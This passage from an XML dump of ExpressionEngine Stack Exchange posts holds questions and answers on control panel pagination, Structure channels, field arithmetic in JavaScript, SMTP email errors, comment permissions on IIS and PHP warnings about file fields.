src=&quot;http://addons.clearbold.localhost:8888/themes/cp_themes/default/images/pagination_next_button.gif&quot; width=&quot;13&quot; height=&quot;13&quot; alt=&quot;&amp;amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-08T15:36:06.650" LastActivityDate="2013-03-19T18:58:52.503" Title="Pagination links on CP Module screen are not clickable" Tags="|control-panel|add-on-development|module|pagination|table|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7156" PostTypeId="1" CreationDate="2013-03-08T14:54:19.590" Score="2" ViewCount="107" Body="&lt;p&gt;Let's assume I have a “products” channel which contains 3 fields: price(number), discount(integer 1 to 100), discounted_price(number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to populate the discounted_price field in CP, based on price - (price * discount / 100)?&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-03-08T15:22:28.067" Title="Populate channel field based on other fields arithmetics" Tags="|fields|pre-populate|math|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7157" PostTypeId="2" ParentId="7142" CreationDate="2013-03-08T14:59:25.297" Score="4" Body="&lt;p&gt;Your channels should not match your nav, they should match your page types. So you really only need, in what you've laid out:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Channel: Pages&lt;/li&gt;&#xA;&lt;li&gt;Channel: Products&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Pages has the fields that comprise a Page. Products has the fields that comprise a Product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Channel Settings on your Structure screen. You'll see those two channels. Set each as Type: Page. Then set a template that has the code that renders them appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That template just needs &lt;code&gt;{exp:channel:entries channel='pages'}&lt;/code&gt; or &lt;code&gt;{exp:channel:entries channel='products'}&lt;/code&gt;. &lt;code&gt;Dynamic=&quot;on&quot;&lt;/code&gt; by default, and Structure passes in the entry reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it. Now on the Structure screen, when you click Add Page at any level in the tree, you can choose Pages or Products to insert a page into the navigation hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's obviously much more you can do. Just remember, a page = channel entry married to template at a specified URL.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-08T15:17:51.043" LastActivityDate="2013-03-08T15:17:51.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7158" PostTypeId="2" ParentId="7156" CreationDate="2013-03-08T15:22:28.067" Score="1" Body="&lt;p&gt;You'll want to handle this using jQuery/JavaScript in your field's instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can include HTML in the Instructions field for your custom field. So you can include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;// Do some stuff&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set your code to fire onblur on your fields, so that every time a field is updated, the JS runs, and calculates the value for the other field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do a View Source on the entry screen to find all the field references you need for your jQuery code.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-08T15:22:28.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7159" PostTypeId="2" ParentId="7155" CreationDate="2013-03-08T15:47:27.667" Score="1" Body="&lt;p&gt;Thanks to one of my teammates for suggesting I disable CSS &amp;amp; JS to troubleshoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table is AJAXified, which overrides the link values. I was missing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_base_url('C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=module_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which the AJAX links require to refresh the table.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="1198" LastEditDate="2013-03-19T18:58:52.503" LastActivityDate="2013-03-19T18:58:52.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostTypeId="1" AcceptedAnswerId="7587" CreationDate="2013-03-08T15:51:17.077" Score="3" ViewCount="4675" Body="&lt;p&gt;I can't get email to work for my site. I'd appreciate any help at all on it. I don't care which of the three methods work just so long as it works.&lt;/p&gt;&#xA;&lt;p&gt;This is a brand new site with one email box. I don't plan on checking the email at that box or using it in any other way than to send emails to an admin so she can check when new entries are added.&lt;/p&gt;&#xA;&lt;p&gt;When I try using php email or sendmail, the control panel says that the email has been sent but I never receive it (not in my junk folder either). Same with the email test php file in the utilities folder - it says there are no php errors and that the email was sent.&lt;/p&gt;&#xA;&lt;p&gt;When I try to use SMTP, I get lots of errors (below). Here are my settings for that:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;$config['mail_protocol']    = 'smtp';&lt;/p&gt;&#xA;&lt;p&gt;$config['smtp_server']      = 'ssl://mail.[mydomain].com:587';&lt;/p&gt;&#xA;&lt;p&gt;$config['smtp_username']    = 'postmaster@[mydomain].com';&lt;/p&gt;&#xA;&lt;p&gt;$config['smtp_password']    = '[password]';&lt;/p&gt;&#xA;&lt;p&gt;$config['smtp_crypto']      = 'tls';&lt;/p&gt;&#xA;&lt;p&gt;$config['email_newline']    = &amp;quot;\r\n&amp;quot;;&lt;/p&gt;&#xA;&lt;p&gt;$config['email_crlf']       = &amp;quot;\r\n&amp;quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(my hosting provider told me to use port 587 and tsl.)&lt;/p&gt;&#xA;&lt;p&gt;And here are the errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fsockopen(): SSL operation failed with code 1. OpnSSL Error messages: error:140770FC:SSL routines:func(119):reason(252)&#xA;Filename: libraries/Email.php&#xA;Line Number: 1675&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fsockopen(): Failed to enable crypto&#xA;Filename: libraries/Email.php&#xA;Line Number: 1675&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fsockopen(): unable to connect to ssl:/mail.[mydomain].com:587:25 (Unknown error)&#xA;Filename: libraries/Email.php&#xA;Line Number: 1675&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1841&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1841&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1841&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1841&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1818&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets() expects parameter 1 to be resource, boolean given&#xA;Filename: libraries/Email.php&#xA;Line Number: 1841&lt;/p&gt;&#xA;&lt;p&gt;An Error Was Encountered&#xA;Unable to send email at this time.&lt;/p&gt;&#xA;&lt;p&gt;The following SMTP error was encountered: 0&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: AUTH LOGIN&lt;/p&gt;&#xA;&lt;p&gt;Failed to send AUTH LOGIN command. Error:&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: MAIL FROM:&lt;/p&gt;&#xA;&lt;p&gt;from:&lt;/p&gt;&#xA;&lt;p&gt;The following SMTP error was encountered:&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: RCPT TO:&lt;/p&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;p&gt;The following SMTP error was encountered:&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: DATA&lt;/p&gt;&#xA;&lt;p&gt;data:&lt;/p&gt;&#xA;&lt;p&gt;The following SMTP error was encountered:&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: User-Agent: ExpressionEngine 2.5.5 Date: Fri, 8 Mar 2013 10:45:46 -0500 From: Return-Path: To: me@myemail.com Subject: test3 Reply-To: &amp;quot;postmaster@[mydomain].com&amp;quot; X-Sender: postmaster@[mydomain].com X-Mailer: ExpressionEngine 2.5.5 X-Priority: 3 (Normal) Message-ID: &amp;lt;513a07aa3bc58@[mydomain].com&amp;gt; Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit test&lt;/p&gt;&#xA;&lt;p&gt;Unable to send data: .&lt;/p&gt;&#xA;&lt;p&gt;The following SMTP error was encountered:&lt;/p&gt;&#xA;&lt;p&gt;Unable to send email using PHP SMTP. Your server might not be configured to send mail using this method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2018-12-27T13:26:13.397" Title="Email Configuration - can't get it to work with any of the options" Tags="|email|smtp|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7161" PostTypeId="1" AcceptedAnswerId="7327" CreationDate="2013-03-08T15:53:25.643" Score="1" ViewCount="149" Body="&lt;p&gt;So working on a blog, easy enough... The client has the following setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows IIS7&lt;/li&gt;&#xA;&lt;li&gt;EE v2.5.5 - Build Date: 20121220&lt;/li&gt;&#xA;&lt;li&gt;Site located at www.mydomain.com (domain-1)&lt;/li&gt;&#xA;&lt;li&gt;Admin on another site like sub-domain at ee.mydomain.com (domain-2)&lt;/li&gt;&#xA;&lt;li&gt;The Admin is behind a firewall with no access to the public&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Issue 1:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can't access member profiles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have accounts set up on the site and have the following link for the users to edit their info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    Welcome &amp;lt;a href=&quot;{path='member/profile'}&quot;&amp;gt;{logged_in_screen_name}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='LOGOUT'}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on the name, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following errors were encountered&#xA;&#xA;The page you requested was not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the link looks legit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mydomain.com/S=7d3285379e0387a32aad7de52b6aac94cd79b19f/member/profile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Issue 2:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can't comment on the threads&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the following code set up for commenting: (Note this is after the closing &lt;code&gt;{/exp:channel:entries}&lt;/code&gt; tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries channel=&quot;blog_post&quot; url_title=&quot;{segment_3}&quot; sort=&quot;asc&quot; limit=&quot;100&quot;}&#xA;    {if count==1} {!-- This way we wont open the div or unordered list unless there are comments to display --}&#xA;        &amp;lt;!-- comments list --&amp;gt;&#xA;        &amp;lt;div id=&quot;comments-wrap&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;heading&quot;&amp;gt;{total_results} Comments&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;li class=&quot;comment even thread-even depth-1&quot; id=&quot;li-comment-{count}&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;comment-{count}&quot; class=&quot;comment-body cf&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{exp:ce_gravatar:single email=&quot;{email}&quot;}&quot; alt=&quot;{name}&quot; class='avatar avatar-35 photo' height='35' width='35'/&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;{name}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;comment-date&quot;&amp;gt;{comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-inner&quot;&amp;gt;&#xA;                {comment}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {if count==total_results} {!--close the list after the last comment --}&#xA;            &amp;lt;/ol&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:comment:entries}&#xA;&amp;lt;!-- ENDS comments list --&amp;gt; &#xA;&amp;lt;h4&amp;gt;Add Your Comment&amp;lt;/h4&amp;gt;&#xA;{exp:comment:form channel=&quot;blog_post&quot; url_title=&quot;{segment_3}&quot; form_id=&quot;comment_form&quot;}&#xA;    {if logged_out}&#xA;        Must be logged in to comment.&amp;lt;br&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;user_comment_area&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;textarea name=&quot;user_comment_area&quot; style=&quot;width: 542px;&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {if captcha}&#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;{captcha}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;blue-submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The logic is fine as in not displaying unless logged in. However, when I am logged in and add a comment, it appears to accept the comment and then refresh showing nothing. Again, this should be correct because I want to moderate comments, but when I go to the comment module there is nothing there. There is also nothing in the DB in the comment table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it appears that there is an issue with permissions on the current setup. They have set up two separate app pools with the admin pool having all permissions to the system (domain-2) and the user app pool having permission to only the site (domain-1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It acts like everything is hunky dory but nothing is being written. They don't want to &quot;expose&quot; access to the system folder and want to keep it on a separate domain. Is it possible to function completely this way or am I hosed here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT IMAGES *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the settings for the channel and user group. However, this also has the same result for SA accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qMLY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzEJI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-03-08T22:16:16.700" LastActivityDate="2017-06-21T07:06:37.717" Title="2 possibly related questions - Can't edit profiles - Can't post comments" Tags="|ee2|members|comments|comment-form|profile-edit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7162" PostTypeId="2" ParentId="2456" CreationDate="2013-03-08T15:58:31.687" Score="0" Body="&lt;p&gt;The question was answered in the comments above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up copying the db out and re-upping the DB to a single site (new requirement added), then pulling everything out that ws with site_id of the other sites, changing the site_id of the site needed, and running with it that way. As for the fields, I kept the fields needed from the original site and changed the site_id number to match the new config and all sub tables related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will write this up when I get some time. (still buried)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-03-08T15:58:31.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7163" PostTypeId="1" CreationDate="2013-03-08T15:59:31.313" Score="2" ViewCount="1348" Body="&lt;p&gt;Need some advice on what is going on here - move my site to a new server and now I'm getting these two errors/warnings. EE should have write access. So not sure what is causing it. EE running version v2.5.3. ( PHP Version 5.2.17 , apache 2.0 or 2.2 )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;&#xA;Message: preg_match() expects parameter 2 to be string, array given&#xA;&#xA;Filename: libraries/File_field.php&#xA;&#xA;Line Number: 437&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/governme/public_html/sys/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code in line 437 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; public function parse_field($data)    {       // If the file field is in the&#xA;&amp;gt; &quot;{filedir_n}image.jpg&quot; format         if (preg_match('/^{filedir_(\d+)}/',&#xA;&amp;gt; $data, $matches))         {           // Set upload directory ID and file name&#xA;&amp;gt;           $dir_id = $matches[1];          $file_name = str_replace($matches[0], '',&#xA;&amp;gt; $data);&#xA;&amp;gt;                       $file = $this-&amp;gt;get_file($file_name, $dir_id);       }       // If file field is just a file ID      else if (! empty($data) &amp;amp;&amp;amp;&#xA;&amp;gt; is_numeric($data))        {           $file = $this-&amp;gt;get_file($data);         }&#xA;&amp;gt; .............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code in line 408.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (substr(php_sapi_name(), 0, 3) == 'cgi')&#xA;        {&#xA;            header(&quot;Status: {$code} {$text}&quot;, TRUE);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what is causing this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did the varDump .. this is the output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(77) &quot;{filedir_4}From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;192&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(66) &quot;From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(136) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(66) &quot;From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;60559&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360412744&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360412744&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;441 310&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(77) &quot;{filedir_4}From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(62) &quot;From_Customer_Satisfaction_Measurement_to_Customer-Centricity_&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(129) &quot;http://www3.governmentsummituae.com/assets/images/publications/From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;310&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;441&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(77) &quot;{filedir_4}From_Customer_Satisfaction_Measurement_to_Customer-Centricity_.png&quot;&#xA;string(115) &quot;{filedir_4}Harnessing_the_Power_of_Publicâ€“Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;193&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(104) &quot;Harnessing_the_Power_of_Publicâ€“Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;  [&quot;upload_location_id&quot;]=&amp;gt;&#xA;  string(1) &quot;4&quot;&#xA;  [&quot;rel_path&quot;]=&amp;gt;&#xA;  string(174) &quot;/data/sites/web/governmentsummituaecom/www/assets/images/publications/Harnessing_the_Power_of_Publicâ€“Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;  [&quot;mime_type&quot;]=&amp;gt;&#xA;  string(9) &quot;image/png&quot;&#xA;  [&quot;file_name&quot;]=&amp;gt;&#xA;  string(110) &quot;Harnessing_the_Power_of_Public%E2%80%93Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;  [&quot;file_size&quot;]=&amp;gt;&#xA;  string(5) &quot;47688&quot;&#xA;  [&quot;description&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;credit&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;location&quot;]=&amp;gt;&#xA;  NULL&#xA;  [&quot;uploaded_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;upload_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413196&quot;&#xA;  [&quot;modified_by_member_id&quot;]=&amp;gt;&#xA;  string(2) &quot;28&quot;&#xA;  [&quot;modified_date&quot;]=&amp;gt;&#xA;  string(10) &quot;1360413196&quot;&#xA;  [&quot;file_hw_original&quot;]=&amp;gt;&#xA;  string(7) &quot;438 312&quot;&#xA;  [&quot;raw_output&quot;]=&amp;gt;&#xA;  string(115) &quot;{filedir_4}Harnessing_the_Power_of_Publicâ€“Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;  [&quot;path&quot;]=&amp;gt;&#xA;  string(63) &quot;http://www3.governmentsummituae.com/assets/images/publications/&quot;&#xA;  [&quot;extension&quot;]=&amp;gt;&#xA;  string(3) &quot;png&quot;&#xA;  [&quot;filename&quot;]=&amp;gt;&#xA;  string(106) &quot;Harnessing_the_Power_of_Public%E2%80%93Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments&quot;&#xA;  [&quot;url&quot;]=&amp;gt;&#xA;  string(173) &quot;http://www3.governmentsummituae.com/assets/images/publications/Harnessing_the_Power_of_Public%E2%80%93Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;  [&quot;width&quot;]=&amp;gt;&#xA;  string(3) &quot;312&quot;&#xA;  [&quot;height&quot;]=&amp;gt;&#xA;  string(3) &quot;438&quot;&#xA;  [&quot;image_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_pre_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_post_format&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;image_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;file_properties&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;string(115) &quot;{filedir_4}Harnessing_the_Power_of_Publicâ€“Private_Partnerships_in_Healthcare-_Imperatives_for_GCC_Governments.png&quot;&#xA;string(80) &quot;{filedir_4}Harnessing_the_Power_of_Public-Private_Partnerships_in_Healthcare.pdf&quot;&#xA;array(29) {&#xA;  [&quot;file_id&quot;]=&amp;gt;&#xA;  string(3) &quot;225&quot;&#xA;  [&quot;site_id&quot;]=&amp;gt;&#xA;  string(1) &quot;1&quot;&#xA;  